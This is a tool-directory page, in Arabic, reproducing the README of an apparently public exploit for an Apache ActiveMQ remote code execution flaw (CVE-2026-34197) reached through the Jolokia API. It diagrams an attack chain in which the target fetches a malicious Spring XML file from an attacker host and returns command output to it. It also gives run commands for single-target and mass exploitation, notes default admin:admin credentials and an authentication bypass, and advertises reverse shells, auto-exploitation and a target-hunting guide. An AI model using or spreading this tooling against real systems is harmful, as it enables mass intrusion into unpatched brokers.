Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-34197 — استغلال لثغرة تنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ عبر واجهة Jolokia API (CVE-2026-34197) مع التقاط مخرجات الأوامر، والمسح الجماعي، والاستغلال التلقائي. | Kitploit
أدوات/GitHubGitHub/kondordevsecuritycorp/cve-2026-34197
ماسحات الثغرات الأمنيةتوليد الحمولةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرمختبرات وتدريب عملي
GitHubkondordevsecuritycorp/cve-2026-34197

CVE-2026-34197

استغلال لثغرة تنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ عبر واجهة Jolokia API (CVE-2026-34197) مع التقاط مخرجات الأوامر، والمسح الجماعي، والاستغلال التلقائي.

عرض المستودع
2115منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-34197 CVSS 9.8 RCE Python 3.8+

Apache ActiveMQ Jolokia Spring

CVE-2026-34197

تنفيذ الأوامر عن بُعد في Apache ActiveMQ عبر واجهة Jolokia API

Author Stars Forks Issues License

نظرة عامة • التفاصيل • مسار الهجوم • بدء سريع • دليل ATTACKER_IP • الاستخدام • التقاط المخرجات • الماسح الضوئي • الاستطلاع • الكشف • المعالجة


نظرة عامة

CVE-2026-34197 هي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ Classic تسمح لمهاجم مُصادَق بتنفيذ أوامر نظام تشغيل تعسفية عبر واجهة Jolokia API المكشوفة على وحدة التحكم الويب.

الثغرة موجودة منذ أكثر من 13 عامًا وتكمن في التفاعل بين Jolokia (جسر HTTP-JMX)، وMBeans الخاصة بـ ActiveMQ، وموصلات الشبكة، وناقل VM.

[!CAUTION] هذا هو أول PoC عام تم تطويره بواسطة KONDOR DEV SECURITY. استخدمه فقط في تقييمات أمنية مصرح بها.

الميزات الرئيسية

  • التقاط مخرجات الأوامر — الأوامر البسيطة (id, whoami, cat /etc/passwd) تعرض مخرجاتها تلقائيًا في الطرفية
  • تغليف base64 تلقائي — القذائف العكسية والأحرف الخاصة تعمل دون تهريب يدوي
  • ماسح ضوئي على مرحلتين (version_check.py) — كشف الإصدار متعدد الخيوط + استغلال موجّه
  • تراجع المصادقة — يحاول تلقائيًا بدون مصادقة إذا فشلت بيانات الاعتماد (CVE-2024-32114)
  • كشف ذكي للوسيط — يكتشف تلقائيًا اسم الوسيط عبر استعلامات Jolokia البرية

تفاصيل الثغرة

معرف CVECVE-2026-34197
الخطورة CVSS 3.1
النوعتنفيذ الأوامر عن بُعد (RCE)
CWECWE-20 (التحقق غير السليم من المدخلات) / CWE-94 (حقن الكود)
المتأثرActiveMQ Classic < 5.19.4 و 6.0.0 — 6.2.2
المُصحَّح5.19.4 / 6.2.3
المصادقة المطلوبةنعم (بيانات الاعتماد الافتراضية admin:admin شائعة)
بدون مصادقة6.0.0 — 6.1.1 (بسبب CVE-2024-32114)
المنفذ الافتراضي8161 (وحدة التحكم الويب)

مسار الهجوم```

                CVE-2026-34197 — Exploitation Chain

──────────────────────────────────────────────────────────────

ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │

### تفصيل خطوة بخطوة

| الخطوة | الإجراء | المكوّن |
|:----:|--------|-----------|
| **1** | يرسل المهاجم طلب POST إلى `/api/jolokia/` يستدعي `addNetworkConnector` على Broker MBean | Jolokia API |
| **2** | يعالج ActiveMQ معرف النقل `vm://` وينشئ وسيطًا مؤقتًا مع `brokerConfig` يشير إلى عنوان URL بعيد | VM Transport |
| **3** | يؤدي مخطط `xbean:` إلى تنزيل ملف تكوين Spring XML من خادم المهاجم | Spring / XBean |
| **4** | يقوم Spring بإنشاء جميع الحبوب (beans) في ملف XML، بما في ذلك حبة تستدعي `Runtime.getRuntime().exec()` | Spring Context |
| **5** | بالنسبة للأوامر البسيطة، يتم التقاط المخرجات وإرسالها مرة أخرى عبر HTTP POST إلى مستمع المهاجم (تلقائيًا) | Output Capture |

---

## هيكل المشروع```
CVE-2026-34197/
├── exploit.py             # PoC exploit (single target + mass scan)
├── version_check.py       # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│   └── template.xml       # Spring XML payload template
├── targets.txt            # Target URLs (one per line)
├── docker/
│   └── docker-compose.yml # Vulnerable lab environment
├── docs/
│   ├── HUNTING_GUIDE_EN.md  # Target hunting guide (English)
│   └── HUNTING_GUIDE_ES.md  # Guía de búsqueda (Español)
├── LICENSE
└── README.md

بدء سريع

المتطلبات الأساسية```bash

Python 3.8+ required

pip install requests

### بيئة المختبر (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161

تشغيل الاستغلال```bash

Single target

python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"

Mass scan from file

python exploit.py -T targets.txt -l YOUR_IP -c "id"

### الماسح الضوئي + الاستغلال التلقائي (موصى به للأهداف الجماعية)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
تنزيل الأداة